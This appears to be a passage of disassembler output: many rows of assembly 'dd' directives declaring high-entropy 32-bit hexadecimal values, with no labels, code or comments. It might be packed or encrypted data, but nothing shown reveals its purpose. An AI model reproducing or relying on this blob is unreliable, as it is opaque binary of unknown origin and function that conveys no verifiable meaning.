		dd 71E45B46h, 6001ED53h, 2624EA84h, 58082B2Dh, 0E6F4373Ah
		dd 0D0066B12h, 0CA40BA66h, 0E87E8118h, 0A600562Dh, 52EEA4C5h
		dd 2C052731h, 840FF1B2h, 9A5F710Ah, 6202E108h, 0C951010Bh
		dd 0DC191AD9h, 0F053CBCh, 3156DAA8h, 0BA84C213h, 14E6BF75h
		dd 6007A9E1h, 0F2537B2h, 10C26481h, 511D7DB5h, 0D19D00A2h
		dd 68070125h, 291B324Ah, 80B9D6C7h, 0F4839801h,	8D330A60h
		dd 52DA1635h, 0A3C53941h, 8823BD19h, 5DAEA78h, 0A1EEC590h
		dd 3AD9129Eh, 21723F0h,	0DCDBFE95h, 0A98D3640h,	0F8231C40h
		dd 61FBA9DDh, 0E6040221h, 0B3C3129Eh, 0C79069A1h, 0F27DB5Eh
		dd 0BAD11086h, 18D548F9h, 0CD0CE510h, 98BE2388h, 13F6A5FBh
		dd 1D9C0456h, 0AB680717h, 5C8F0E12h, 5DA3404Ch,	0F4009F97h
		dd 14DBB6F9h, 49A10E7Ch, 9200B33Eh, 0F5B11C6h, 0D6ACF9BFh
		dd 0D7529E98h, 0ACB995D3h, 487A02DFh, 9BD2957h,	594CEB78h
		dd 0DACB281Bh, 7B03AD82h, 3FAEE853h, 0FC9623Fh,	0C065234Eh
		dd 3BD50175h, 5F592B40h, 0C86C1482h, 258C15E8h,	0F0C0A436h
		dd 0B88008E1h, 116F0384h, 0F58A6168h, 9F967AA0h, 0F802CE5Fh
		dd 0C18FA5BFh, 7479E87Eh, 5B81610Fh, 67EB8E00h,	5958F98Bh
		dd 9807B89h, 0C6528DAh,	29F840AFh, 0B8331240h, 0B2F7D01Dh
		dd 0F43B9312h, 8CA4FE42h, 4AF94F4Dh, 0DA8EEE9Bh, 9B349340h
		dd 59071C7Ah, 9D299148h, 386B2AE9h, 0FEEC6B04h,	6C011421h
		dd 8C1DECD7h, 4A05C60Fh, 0A31C8069h, 0F8206F21h, 0D9EC578Ah
		dd 7637492Fh, 0D394EE00h, 72CC0D2Fh, 68F102D6h,	89B4354Ch
		dd 1CA56748h, 0B905A107h, 169528F7h, 339BBA64h,	207E97C7h
		dd 0B7C58B86h, 8EF4BF05h, 0DB6538C9h, 0A9E03BF6h, 0F0012847h
		dd 2FB436D9h, 0B0305124h, 8BCA28D7h, 8D952EB7h,	97E9934Ch
		dd 8010A77Dh, 11CF7530h, 7E00C578h, 0C658F205h,	7C89D1CEh
		dd 885E4CA6h, 15A2E443h, 0C2D31B30h, 0B582D288h, 156B4441h
		dd 0B151981Eh, 46A6109h, 68D3E501h, 773BECC1h, 0C7CF8A2Ah
		dd 12D618F2h, 15C87A8Bh, 68734AC0h, 102D122Ch, 0F8B9B4F7h
		dd 0B904C090h, 5857CDD0h, 3D4B68Ch, 108F0D2h, 0A350F985h
		dd 0F49C75EFh, 0D5A98634h, 0A60ABFB8h, 8B72997Fh, 914BC900h
		dd 943595FFh, 8E0F094Eh, 31E4F8CAh, 0F6012A76h,	6054BC72h
		dd 9E41E28Ah, 29631389h, 76AC5B2Ah, 9D5376C7h, 0EE7E821Bh
		dd 976F6A4Eh, 9AED5700h, 8756B42h, 341066B4h, 88DA6800h
		dd 0DE87D1Fh, 83521AA0h, 2EB6F200h, 27CA0546h, 53BB003Fh
		dd 0E8DFD1BAh, 0ECAB5A69h, 7D1E3E01h, 2E01B529h, 0B9505483h
		dd 5BBA9EF1h, 0B10B0758h, 0B70B6A3Ah, 9B658147h, 2068A315h
		dd 8EA928B4h, 2F94E0BFh, 0F900109h, 60036889h, 20225AB4h
		dd 39D93DCFh, 61269F09h, 901B0250h, 0C869C051h,	0C4DEA25Ah
		dd 56B606E8h, 6332B58Dh, 5096F913h, 7B0460A2h, 0C06E0BB0h
		dd 2D32FEEBh, 0BB443D00h, 628C4AE6h, 567D3F90h,	0FB38DA7Fh
		dd 62E7344Dh, 34431400h, 81C801CBh, 0B37174F7h,	3EB0AC70h
		dd 0BA335043h, 5E8570B9h, 6A9E205Fh, 0B30023DCh, 0AFCBA9C0h
		dd 0EF0B0702h, 0D660EC30h, 89A1DB25h, 0B9AA0754h, 0FEE90538h
		dd 0A074B706h, 0E0705BA9h, 9F7B0A12h, 82624C08h, 21276C42h
		dd 9DC54055h, 81320784h, 641409F1h, 0A66AC461h,	7C93E07Fh
		dd 23030B9Fh, 1EC9AD8Dh, 7DC125B5h, 3D19BC6Ah, 520F8521h
		dd 574E8DE7h, 2E204665h, 1142327h, 8AEDB201h, 29AC30E8h
		dd 0BAE1852Ah, 2609032h, 84366361h, 1E12E65Dh, 7112E7D9h
		dd 0D7101689h, 2A958D03h, 8488053Eh, 1BE98A36h,	0DE12A6E3h
		dd 0E4837225h, 0A47D000Bh, 95319026h, 9100B382h, 3B1E2C13h
		dd 3880D1F3h, 8062207Eh, 105E05E0h, 1C4676h, 0B2103A9Ch
		dd 35166Dh, 0CF8192ECh,	211C70E3h, 46745AB6h, 7BDF0119h
		dd 0C428DB2Ah, 55B2E054h, 70F6A703h, 64F87B95h,	8A2445C8h
		dd 850972D4h, 0C4C8C757h, 0B6696018h, 0AEAD094Bh, 15798F0Fh
		dd 141DB504h, 0D5ABE905h, 0E0C6A6C8h, 0ADC123h,	0A458C0FCh
		dd 0D981EE53h, 2B62D04h, 54DB4072h, 0B0121FC0h,	0A27A7D8h
		dd 8B16181Bh, 7752095h,	0CE005777h, 66605059h, 0E855EBBAh
		dd 582148BBh, 9B4A9449h, 60038F86h, 7060E131h, 88CC12DFh
		dd 279810A2h, 68C19B8h,	0E941BD4h, 33B0ACA9h, 7D88B904h
		dd 0F5A06FA0h, 0DDFE8814h, 0A1C69500h, 91DEBF06h, 0D89090h
		dd 16051AC7h, 0EF93AC5Dh, 92880F27h, 2D8F7B02h,	38013E35h
		dd 69B5314Ch, 646A6371h, 85B80490h, 8BFC1516h, 2C8F6431h
		dd 8FED88Bh, 581709A5h,	0F601C76Fh, 998509B2h, 0D159961Ch
		dd 4E8487B0h, 88FA8F58h, 9E68C116h, 732368ADh, 0CDAFBF06h
		dd 9447CCE9h, 2800DC7Dh, 3B92E390h, 24B4C977h, 3FD99BD8h
		dd 0E74418A5h, 85388025h, 0CEA8767Ch, 1AA2D243h, 4C42630h
		dd 9B75B464h, 0E0778145h, 0F8F33C0h, 0B3BD0150h, 485FE640h
		dd 9C819D31h, 303B1386h, 70820F25h, 94F3EFA4h, 2FB25CA2h
		dd 80613D65h, 0BF0FDF7Dh, 0B2A051D1h, 5A4ACBB3h, 535388h
		dd 7C4C45E0h, 77032C06h, 7E918132h, 0A390822Fh,	0EB7412FFh
		dd 4CA807D4h, 82F36D51h, 41D8CD45h, 0E2274052h,	0AB4F3017h
		dd 8095E93Fh, 0A8B601D1h, 4EBD834Ah, 8465215Fh,	6A3E0D4Fh
		dd 89BC0271h, 6039995h,	50EAB290h, 4E6E6AEBh, 0CD7B9802h
		dd 2D51BD2Ah, 0D2C6A400h, 0E0DDCB47h, 0C1F90E79h, 2AE0052Bh
		dd 0D6B4AFEDh, 26910DB0h, 0CAC90396h, 63B80A29h, 1CCAF03Eh
		dd 256F898Ah, 23118CE6h, 0EF125BCDh, 5F34E012h,	0F6E09DA6h
		dd 3B25A195h, 0F6D16CBCh, 21294101h, 132230DDh,	49518Ah
		dd 6A767FDDh, 1F00BA2Fh, 3AF38E60h, 3C5A27ADh, 0B08F5150h
		dd 6146B5AFh, 8B09A75Fh, 941749BDh, 0ADF0FF89h,	0F5098406h
		dd 91CB8A58h, 0F152861h, 0E982C5DEh, 4067018Ch,	0F66015C4h
		dd 0CB308B4Ah, 59BDF1C6h, 88588133h, 491FEh, 9AB0BA50h
		dd 0C3C1775Ch, 1E798D29h, 8A56A03h, 80AD058Eh, 90AE525Bh
		dd 80159CE9h, 6E588A4Dh, 50FC3FC8h, 0E88C2298h,	7490D731h
		dd 8C4A329Dh, 7E96E4Fh,	5098757Bh, 0CF51DFF0h, 5A382804h
		dd 0A25860ACh, 1D147677h, 2D44AFA4h, 3C8B4D52h,	269DD38h
		dd 0AA70AFD3h, 0CB9600FDh, 8AB96692h, 66909023h, 16ACDF80h
		dd 0BD95949h, 0E9B5FFCAh, 0EA20609Bh, 0F8114015h, 3D856151h
		dd 0B9835DB1h, 0B22DBACDh, 0FC83542Ch, 0AD5EC105h, 0F3425161h
		dd 795FB094h, 1401910Ch, 121E8D0Fh, 5590E960h, 2B1750h
		dd 8AC56403h, 0B5891440h, 618567BCh, 210722E9h,	9F9ACAB7h
		dd 812DE200h, 0A2011CC6h, 0E938B02Fh, 27D27368h, 6A60F990h
		dd 0B17B56B9h, 6E27C7E6h, 4C0A8F5Dh, 60E90E47h,	0F5453F10h
		dd 7F398693h, 0D8B5AFB9h
		dd 734705D9h, 215826Fh,	0A1852994h, 0B7FFC9A4h,	0CF38F0C7h
		dd 86FD021Ah, 0CE0EB331h, 0B82FDB63h, 0B7312995h, 0CEFC813Ah
		dd 4D8B776Fh, 885E4EC8h, 0A26FC01Bh, 63030709h,	0E9C83685h
		dd 4A212F11h, 49A468B0h, 66E9BA01h, 0A0BD7F6Ah,	11BFBFAh
		dd 504AAFB9h, 0CA5B2B60h, 9528420h, 0BA90E8DEh,	0CC09AFB5h
		dd 9B7B8EF8h, 0D88DCB1Eh, 46AFD56h, 906159E4h, 19CFC233h
		dd 0C4EB035Ch, 3CFD3C2Ah, 0DA20BC80h, 0C1CD705Eh, 0EB67B718h
		dd 891781A2h, 276E40E8h, 5D0049C1h, 6EFC33B5h, 17F5584h
		dd 0D448A6BEh, 7A5A4E7Ch, 3515FC02h, 0DC56D490h, 7F0F6909h
		dd 0B2264388h, 89987C87h, 2070F78Ah, 19F99F99h,	0AB070518h
		dd 0EE628A6Fh, 13C4B685h, 12DB8EC4h, 81EBBBC4h,	9FD4Dh
		dd 508BF58Ah, 0FF20ECC0h, 112E7A2Fh, 14A83E15h,	0B1043D46h
		dd 0F05351C9h, 5A745F2Ch, 0F19BC04Bh, 29093C82h, 6E60CF62h
		dd 0B5A0FB8Bh, 3392E9BDh, 5608C22Ch, 0C3428148h, 0A0D9841Ch
		dd 0C7806042h, 19DA24E3h, 8A642Bh, 7796711Bh, 2378D93Ah
		dd 2D63EF00h, 0F1C1004h, 816F0B88h, 0BB61BB59h,	1852387Dh
		dd 604175E9h, 0D88C1666h, 35E2E0A8h, 0BE016A88h, 87E66B21h
		dd 6992D2BCh, 0C1B0B5D7h, 0CB680CEFh, 443043Ch,	0EA570291h
		dd 0B2429F42h, 0D1AFA08h, 7D6B32E9h, 0DF6880EBh, 95A9C530h
		dd 3F14C91Ah, 0EA018FEh, 2BBA0BC5h, 57C6A63h, 126E4056h
		dd 2F34B061h, 0CEE406E0h, 0C2E75101h, 938E40C4h, 13A06ADCh
		dd 1C815F8Ah, 46236EEFh, 2D2D7CBh, 91152B30h, 0E14161Dh
		dd 36BFC829h, 0B20BDD71h, 25A5E78h, 428BDA37h, 0F4EC2D7h
		dd 19A89E3Dh, 0BCF386A0h, 0C00046B0h, 3FAD9BFDh, 8803890Fh
		dd 597FFC56h, 991DE87Ah, 0A3656858h, 0D0FE63B0h, 1F6BE5E3h
		dd 4EE77466h, 8BA06AADh, 5EEE8A23h, 4E7A3AC1h, 386C6201h
		dd 16B46F80h, 0FA02ACEEh, 0C84952D6h, 40425650h, 0BB54DF48h
		dd 11E25600h, 8955782h,	0C5B10D42h, 40D48F5Bh, 0FA70A57h
		dd 8BD28E58h, 0BFE200F9h, 90320B5Bh, 99F2725Eh,	6E80BABCh
		dd 81DFDB8Fh, 0C2E66129h, 812FBB69h, 8A28C6BBh,	4F8CFAF8h
		dd 85EEC392h, 0E9F843FCh, 3E0D001Eh, 91388892h,	0EC01B957h
		dd 5E415847h, 38B943E9h, 3B25ED00h, 0BCE2070h, 0F7CC3C00h
		dd 0C0FDE4F1h, 9BDC014Ch, 8B96CDF6h, 0E9CE006h,	3560C800h
		dd 0A6770F20h, 36890192h, 2E8B17C1h, 9C0DDCACh,	3B8A100Fh
		dd 6071D4Ch, 992E35B0h,	0C41EE11h, 2BE9D7A4h, 50058BEh
		dd 53C32DB3h, 0F30BBA6h, 3152918h, 9C601FDh, 56C52E1Ch
		dd 0D0198C91h, 784C48B6h, 301661D9h, 804BDF73h,	36149120h
		dd 0C06A5310h, 0E88C09A8h, 9C00BD99h, 219B13B2h, 30D84B1h
		dd 8FDAFCD7h, 7EFF1E1h,	0B182C654h, 5856150Ah, 0E106E8AFh
		dd 0F020902Dh, 0D50E00DAh, 4622A441h, 9530EEB4h, 2F4CD951h
		dd 350A184Fh, 15FD11C0h, 0BC705202h, 8FFCAF0Bh,	0A5081814h
		dd 0C94A03DFh, 0F7869CFh, 31E1506Eh, 77107206h,	4D7FC861h
		dd 0A0327E01h, 9340AC20h, 0D10EE1BAh, 5440C504h, 4C705BABh
		dd 868F08CFh, 1B89B61h,	0D7665E37h, 1A2C69h, 54098BBBh
		dd 56C84D3h, 94A206F5h,	0AA80408Eh, 140B0F64h, 0B0707A1Dh
		dd 0A6084A59h, 5CD02180h, 0DD51100Fh, 0E1CBD300h, 9A3C138Eh
		dd 381704BDh, 90708740h, 0A17E0914h, 0CAC88C9h,	44C0F05Ah
		dd 65077A3Bh, 0C91DDFCh, 60AC353h, 798B1360h, 0D93EA0CAh
		dd 9D45B949h, 0A7C089B4h, 81C30E04h, 4C20C0E1h,	9F56A220h
		dd 84206453h, 0C5644254h, 0DD344178h, 0C4C877B3h, 5B05E3FEh
		dd 0F4E2A9D6h, 0A423882Fh, 0BD0EED00h, 226F17Ch, 160A9E63h
		dd 0B0A4D801h, 0F5F619Dh, 8C5214E8h, 7CBA544h, 6E3F0F57h
		dd 0A3D8C01Ah, 0BC03102Dh, 4934FF41h, 0A1280392h, 0B2D98B14h
		dd 0ACB6E802h, 484FEEDDh, 76C34h, 8D5614Eh, 0F0CD0AAFh
		dd 6260AE74h, 4DFF8F21h, 0D1E10058h, 3EC99F49h,	3430FBF3h
		dd 17D76119h, 0E47D51CBh, 0B7F12841h, 0E9C01202h, 0E25094C9h
		dd 8D0CACC0h, 88DE29C3h, 503114D5h, 8206F02Eh, 70B391EEh
		dd 0CFDCA0C8h, 0D5604E43h, 20616284h, 0F54DFE8Eh, 0D52E492Ch
		dd 0FA520B06h, 0AEED2088h, 0FB40370Ch, 54EEA057h, 8CDF345Dh
		dd 634E0904h, 913818D5h, 774E0101h, 0FF49BC16h,	3AA4C088h
		dd 0E1BB1504h, 8D342490h, 168CA091h, 4957788Bh,	0CC00D4B0h
		dd 35A5C9E3h, 50192AD7h, 0C308CF2Dh, 0DBED2180h, 0DE44F0C9h
		dd 37B2080Ch, 4041C87Eh, 2711DDB6h, 0F91080B7h,	842864B2h
		dd 22D108C2h, 10489F94h, 0DE00300Ah, 0A949D688h, 2703A3h
		dd 255C7882h, 6036767Dh, 72B20409h, 9B74200Bh, 127C3A27h
		dd 405A588h, 24D1111Ch,	6523CC2Eh, 9880E61Fh, 1290870Bh
		dd 35041D16h, 1190A9FDh, 0C9E58059h, 8CE735A7h,	0EFC544h
		dd 9D34C9DDh, 66B1E9A4h, 0D7F71602h, 8A0B7461h,	0ED08E8C4h
		dd 86424D0h, 72051FC4h,	3092521Ch, 9404215Dh, 0CFEFF0BEh
		dd 0C3B43200h, 170EBF6Eh, 970B0A09h, 40A4958Eh,	0C06CFC61h
		dd 2071AD05h, 4180841Eh, 1A939BFh, 0B2AB0AD6h, 47E9BB30h
		dd 1497A4D8h, 8CC6E800h, 0FF72BA01h, 0F2A3DE8Dh, 62D1F470h
		dd 3E945093h, 91EAD4A0h, 9D4909D9h, 0D80C03B4h,	12EC6EA4h
		dd 21909980h, 5DA37Ch, 69954591h, 5C0F411Eh, 0F6580B1h
		dd 9982140Ch, 5DD1C0E4h, 2803AE0Fh, 0E025170Ah,	0A280BD91h
		dd 0A0D29D8Bh, 60385BB8h, 0BFF0318Fh, 732C0EA1h, 38A67C60h
		dd 972FC04h, 0A4263490h, 8FE3036Fh, 878ED090h, 211D0930h
		dd 386F9C46h, 0BA8CD72Bh, 3D191973h, 40AFA900h,	0CC264483h
		dd 0E7A00A0h, 7282D135h, 0C31E417h, 0C3819897h,	692DB200h
		dd 9511710Ah, 467E809Eh, 0E61D00A0h, 1672CD2Fh,	0FDDD24BEh
		dd 0C4A10938h, 6311AC9Fh, 0D8D5480h, 0CD026C51h, 34732395h
		dd 12A4A06Dh, 15B6A149h, 0E4FF1035h, 4301A440h,	6FA90273h
		dd 31B88FE8h, 0A14B1023h, 64D6006Fh, 0F6EB983h,	0DB288D4Dh
		dd 61028C60h, 12951078h, 6865120Ah, 4460A7C4h, 700351Ch
		dd 8832A410h, 0FBEF4E4Bh, 0B782E9BCh, 9C50939Eh, 203DF4E1h
		dd 783EBF53h, 0D54F0208h, 440D7C49h, 87542E0h, 0BA233C61h
		dd 808150A0h, 0A718E2FFh, 8FE6116Fh, 0A61F88A8h, 0C16F1C59h
		dd 6DE5E124h, 90CC704Bh, 81381050h, 4934AE40h, 900C4C1h
		dd 715FB66h, 3D005D99h,	24AA89F1h, 1DB618h, 1BE363E8h
		dd 0C0EBB8Eh, 0E12F69C1h, 0BC209F8Dh, 63B0C05h,	0CF51B834h
		dd 9A1DE701h, 7A7A00Dh,	4A8E01D4h, 0AA504034h, 5E63D79Fh
		dd 0DEDCC503h, 0D965837Ch, 0C7DE40BBh, 60654454h, 1EC7FDFh
		dd 37B7E0F1h, 20725348h, 5268C020h, 0FE3AB029h,	0C8C91580h
		dd 4C0DA68h, 0D1D55E4Eh, 66223460h, 4DFC8C00h, 92716719h
		dd 3E5A00B5h, 4B1587F1h, 3424C775h, 4674B4B1h, 990F71A4h
		dd 0E9BEDBB5h, 8D2C8424h, 0B27F3B40h, 80986DA3h, 9883B5E6h
		dd 0C050BB27h, 0D2431E0h, 0CCA81473h, 44005BB2h, 0D829525Fh
		dd 1F95E11Bh, 0C379D593h, 0ABD141BBh, 0ADE40800h, 0D60415FCh
		dd 0C8AE48C8h, 30148D00h, 1DAC424Bh, 0D02394A3h, 0F6301A1h
		dd 1872140Ah, 5BCF889Fh, 2C9C0F01h, 0BEAE0911h,	9407B087h
		dd 9CA099A3h, 2A6C41D9h, 189E30A1h, 70F0860h, 0CC705A14h
		dd 30F1858h, 419AB07Bh,	70B2B0B0h, 6E104C00h, 0AD55650Ch
		dd 44D65815h, 712C0692h
		dd 2053B8A2h, 3363A2FCh, 9A0FA88h, 0A6D76C00h, 0D5504814h
		dd 4F6B250Fh, 0C9E13882h, 0A5358848h, 20D15C99h, 500B718h
		dd 0B69CCBE9h, 910FBC24h, 317328B8h, 0CD618DBAh, 0DBC8910Ah
		dd 5F4E0580h, 448CF8D5h, 0FD008D67h, 768E394Dh,	33B84FA9h
		dd 2DB83020h, 23E0594Ch, 0C9E20156h, 73CF35A4h,	0DAEC8050h
		dd 61DE9C9h, 6084BBCBh,	5220A8EBh, 27AD0A9Ch, 0E90699Fh
		dd 0F0A46F67h, 2044D00Ah, 0E2DA614Fh, 4CA80A11h, 9CD7D500h
		dd 588D9B18h, 0E08834B0h, 644E0AC0h, 802043D5h,	0BD4E0292h
		dd 64661CE5h, 58D8F28Fh, 11C9E430h, 88DF35A6h, 0DCEE87C0h
		dd 969432C9h, 0D3D03C4Bh, 0D938E157h, 82E70029h, 8E0ACA02h
		dd 0C7BEF493h, 81EED5A8h, 87B2DB15h, 4F542D49h,	82B3F802h
		dd 3B889B4h, 59069895h,	0EF4FDE16h, 449B0188h, 9D66A19Fh
		dd 5B5C42BCh, 11C9E730h, 88F735A9h, 0DFF180C8h,	0B6A26CC9h
		dd 2FC7600h, 0BC033684h, 28449115h, 73A41B60h, 0CDB0110Fh
		dd 7FE4D4A6h, 0E3B6A504h, 70900641h, 40632039h,	0F701C44Dh
		dd 0D5173B0Eh, 0DC2CF4C6h, 98CA1B8h, 0C5FE0863h, 0DEEC6028h
		dd 7DA77E01h, 46018F17h, 0A8621428h, 0FE06793Bh, 1A7230A0h
		dd 5BF2B5E1h, 0A1930200h, 4AD717Ah, 669000F5h, 142FC7Bh
		dd 74CD120h, 0AC7D10B0h, 0C3160B0Eh, 87ECA9FCh,	4935D92Fh
		dd 71833448h, 0F5EC0282h, 642D00BFh, 0EE289A45h, 3516E0BEh
		dd 445E2720h, 9CB08E0Ah, 0F9F4674h, 0A69132C1h,	0C8195396h
		dd 5EC09C48h, 5C14050Fh, 0CAE05C4Ah, 5E000F56h,	0F8C2CF84h
		dd 2C49BD1h, 9377C1Bh, 64BBDEh,	72262978h, 488534BCh, 0C4D46457h
		dd 0C0A2F0A3h, 65173630h, 0D8FD408Bh, 6F08A564h, 0C4988FE4h
		dd 9D474022h, 1E8846Fh,	0D75D8C96h, 4218C5F1h, 0E8305C44h
		dd 35AA12C9h, 0F28C38FFh, 0F8C9E007h, 0E6306AA2h, 247B3C9Dh
		dd 2535ABE2h, 0B41D948Bh, 7D801A11h, 1574D6C9h,	2368CB48h
		dd 4E0B01E1h, 1828D565h, 3938869h, 1E354E3Ch, 84DDD77Eh
		dd 268DF7C0h, 40CF2836h, 0C26914Fh, 475ECC17h, 933600C8h
		dd 63E21177h, 0BB9D0007h, 69D00549h, 34B41C5Ch,	2F557B00h
		dd 0C0813B48h, 0C5C00670h, 0D70959DAh, 403E436Ch, 5AD18F44h
		dd 399C00D9h, 0A98C4728h, 20059200h, 989E308h, 28492E2h
		dd 9C1DFEACh, 209C42FFh, 1F88E823h, 0A62DC98Fh,	485D4411h
		dd 0C909E978h, 0E50735ABh, 0F39624h, 971767BEh,	7A01D709h
		dd 31D9C616h, 0E8871B98h, 8B5B66DAh, 67EAAC90h,	8F35AD0Ah
		dd 4674DC2Ah, 42051460h, 0D41508CCh, 0F5A88EADh, 0EC317581h
		dd 2278B008h, 2C89B850h, 470C350Dh, 3E2D516Eh, 51C6ECDFh
		dd 5F47B50Ah, 0D024C07Ah, 4DB8409h, 2140B970h, 8A51EB7h
		dd 0D6BD1900h, 0FC74BB86h, 0D1976094h, 0CA772A7Bh, 0E6823Eh
		dd 5C43EC92h, 6061E5EBh, 6977E9ABh, 0BCB92D04h,	1878582Bh
		dd 56FB0064h, 1CEE779Eh, 3709B0EAh, 0A9749B28h,	4474C714h
		dd 0A87460C7h, 3D820018h, 0B2255A10h, 5166337h,	94C5F9E2h
		dd 0C023FC3Ah, 7C007D12h, 6639D9E5h, 3A4A4A80h,	19E236Ch
		dd 59A313EDh, 4B0C60AFh, 12737E13h, 931B0840h, 168FF0h
		dd 5725CE23h, 0C522F54Eh, 135B60FBh, 6718C4A0h,	44735Eh
		dd 0AD00B25Ah, 0ACDF8B99h, 4676D4B4h, 0F4460362h, 9AC31471h
		dd 0AE9CE8C9h, 0C564B015h, 0C8959C11h, 201D468h, 2B6A0BA4h
		dd 67E0B961h, 88364845h, 23EC2F4Bh, 5F150065h, 6827A95Eh
		dd 5928353Dh, 0A5E0407Ch, 0E2EC23F9h, 0CDCC30C4h, 964B7816h
		dd 794F4804h, 925EEF04h, 0C0443490h, 0F30C0909h, 97B82B5Ah
		dd 806791F4h, 1396A6Ch,	787C026Eh, 0E65CC516h, 4C5BC962h
		dd 0EE540470h, 0C14F0A34h, 80C09A95h, 201D7E11h, 0D600FCBCh
		dd 0E715507Fh, 1C63423h, 0A810395Bh, 0F092AA9Bh, 0B018803h
		dd 9A3C66D5h, 61825090h, 2C3B67B2h, 409DEC84h, 26018955h
		dd 2E1101EFh, 9047C661h, 9E40E87Bh, 676F9109h, 11D01DDCh
		dd 53FF89C0h, 622464h, 110BCF56h, 19D22B14h, 62232C3Bh
		dd 0C53B3228h, 0AD299213h, 8932B049h, 1D580B2Eh, 80A51178h
		dd 17660CFDh, 48D50421h, 0B40ABC07h, 0E9108FA8h, 163C931Dh
		dd 5F138700h, 0ABCACE43h, 525D407Dh, 4A16EC0Ch,	6E8090EEh
		dd 0C5060371h, 718BB9Ch, 0B8027F29h, 4D932040h,	0AD7AEF14h
		dd 0E06A8EACh, 878B5CA4h, 733F0033h, 0FB92A329h, 850061C5h
		dd 1E306E71h, 315B67C7h, 99599B2Fh, 92783C8Ch, 3E31F808h
		dd 3814BC02h, 1C781348h, 36099112h, 0BD666883h,	0C3BB9C42h
		dd 26BC580Dh, 4518375Bh, 3F9C2073h, 900FAA83h, 0C037F578h
		dd 736E4791h, 5CD8980Ah, 8F011A69h, 0D825BD9Ah,	63BC6052h
		dd 0B158600h, 0F87ECA3h, 5CEBA10Dh, 0E99190CFh,	143894ADh
		dd 15044495h, 4C7D9A3h,	18F431D7h, 5B29F8ADh, 5A7440C9h
		dd 4B300EDEh, 2038B0CAh, 1F90B00h, 1324532Dh, 118B6CCFh
		dd 768C18h, 0CA6D5F0Dh,	0F44DB493h, 993A6E1Fh, 0C2309EC0h
		dd 50C606FDh, 0A0A2ACD6h, 0E519C348h, 44613503h, 3B0FB518h
		dd 18071424h, 0C89491E1h, 0FF311837h, 0CD151876h, 0D50AFC62h
		dd 83C05317h, 99AE2D89h, 99037EEBh, 14516BB2h, 308499CFh
		dd 0EE88F086h, 7500215Bh, 2D448C48h, 739A2A24h,	0B687001Eh
		dd 2D3DE4Eh, 201435A8h,	84F070E7h, 9504AEAAh, 0BB17418Bh
		dd 90314004h, 90B82039h, 4473600h, 83DA02B9h, 84D8D070h
		dd 42F85F26h, 111F8BD9h, 6D6F80C8h, 0D0238h, 3A592F05h
		dd 0C6526168h, 3243BB0Ch, 909053h, 26C304Ah, 11A06BB3h
		dd 0B6A54801h, 0B0694DC6h, 44A086E2h, 408A48F9h, 39388505h
		dd 9DC800Eh, 7409301Ch,	59A0C10Ah, 18A279F4h, 0F9600336h
		dd 8E97C617h, 742F694Ah, 6D011C23h, 41BB8FBFh, 0F5CFD8C1h
		dd 0E515D4D0h, 8C3925D7h, 0C38DACC0h, 0E8B26D2Ch, 914D3780h
		dd 0D44BAF64h, 0D728C808h, 1089E9B8h, 9CB7F504h, 760F800h
		dd 353FDFCh, 49BC28A4h,	0F499D7DEh, 0E2C8330Eh,	0CE530A1h
		dd 2F773E02h, 58534748h, 305B1838h, 8F9929F7h, 7C385849h
		dd 81E82C48h, 0B909C313h, 2404F896h, 0F2ECE2F8h, 0E2D330C8h
		dd 291A6401h, 7CCE5490h, 0BB00CC63h, 480A9D25h,	0A700868Fh
		dd 12E18360h, 931C8D9h,	9B59183Ah, 0A956D8A6h, 172E4400h
		dd 0E6F57AE9h, 0F8777924h, 694F0AE7h, 4981914h,	0D039C30Dh
		dd 0EBB4C68h, 444FAE2Ch, 8DAD42h, 58E71035h, 9A881094h
		dd 0F68A41A5h, 0E0B00AFh, 9FC928D4h, 66F320A4h,	325B090Eh
		dd 10D293EDh, 0F61309Fh, 62140814h, 59CDE0FCh, 57B2010Fh
		dd 2C6FC0Ah, 0E861EEF0h, 842F2B66h, 920B8C79h, 656438B2h
		dd 601EE484h, 411A636h,	2D8616ABh, 0EDC0C1B1h, 755600CDh
		dd 248A179Ah, 387BADh, 15D03D42h, 81C4218Bh, 0E0BEFDD7h
		dd 3CB6C68Dh, 39614676h, 69388072h, 81EA0796h, 0FC7C0034h
		dd 0B237C5F0h, 0D1138F1Ah, 90209E45h, 385D76Ch,	2BD5C5F1h
		dd 0F9C047F3h, 0A8B06634h, 0CD677C03h, 89C4AEB0h, 0A84EE07Dh
		dd 48C02188h, 0F16E93Ah, 70EBED8Fh, 0C3D19B82h,	0C41D501h
		dd 8B04C46Dh, 0A8892844h, 8C60E8F0h, 39D58705h,	3CD026F4h
		dd 5D962AC5h, 15165020h, 7BE803FFh, 202C4A81h, 35427092h
		dd 7D449B7h, 1768DC4h, 0BFD84DBh, 0F0CDCAC6h, 9D978AC4h
		dd 80C79134h, 91CDA6CCh, 15B3036Dh, 7F61D73Ah, 0F0988956h
		dd 2A3E31Ch
		dd 433D9F2h, 0E04137D4h, 0D3150152h, 148B0C3Ch,	4BD2084h
		dd 40E2B2D5h, 3B31A4F2h, 12D331DCh, 0A24B54BFh,	0C5077FA8h
		dd 0F965A38Ch, 0F0DEB820h, 16271E87h, 384481CBh, 9863DB10h
		dd 0B8F86698h, 73D0A11Eh, 37F8403Ah, 0CBDE3DBFh, 9174DB00h
		dd 0EC254AE6h, 0B092268Fh, 9E4674F8h, 7216612h,	8E0476C7h
		dd 5E496780h, 140942AEh, 2FC1A193h, 399866BCh, 0BB891290h
		dd 3405F3Ch, 9F7EF3A6h,	0A85198EAh, 0B841441Eh,	11BBDC03h
		dd 0AAC06C78h, 0D08087EAh, 0D10356F8h, 81A315B9h, 0D9680AB3h
		dd 0AFF88331h, 9500D4B7h, 0C5A818DEh, 4DE40BC1h, 0A4407039h
		dd 0DB4FBDDAh, 0AFACB401h, 4247B0Fh, 0B95360EEh, 9A9EFFB6h
		dd 0FB65BD01h, 0EC0BA757h, 40319870h, 472DB5A2h, 674880EBh
		dd 546129Ch, 52082EA8h,	4920898Bh, 0C06E2BC8h, 8B349105h
		dd 53085CFh, 85540467h,	0E3A984BCh, 3060E240h, 491275DFh
		dd 2C4B2164h, 388993Eh,	6FAB18E2h, 0C88FEA11h, 4D801B88h
		dd 0AF026FA3h, 96DC1F9Ch, 9BF00117h, 0D0950D07h, 0BD0E9036h
		dd 8398068Ch, 0E0CF5E8Dh, 0F2337B8Fh, 7C5607C1h, 30069BB0h
		dd 34C78BBDh, 4A07BAE8h, 6A8AAE5Dh, 89E2AF40h, 0FFB10335h
		dd 0DAC837EDh, 21B22934h, 2EE21806h, 50363A49h,	0EF0D1Dh
		dd 4CF17221h, 109C4B37h, 0FFCC2DDCh, 14797009h,	0F2182279h
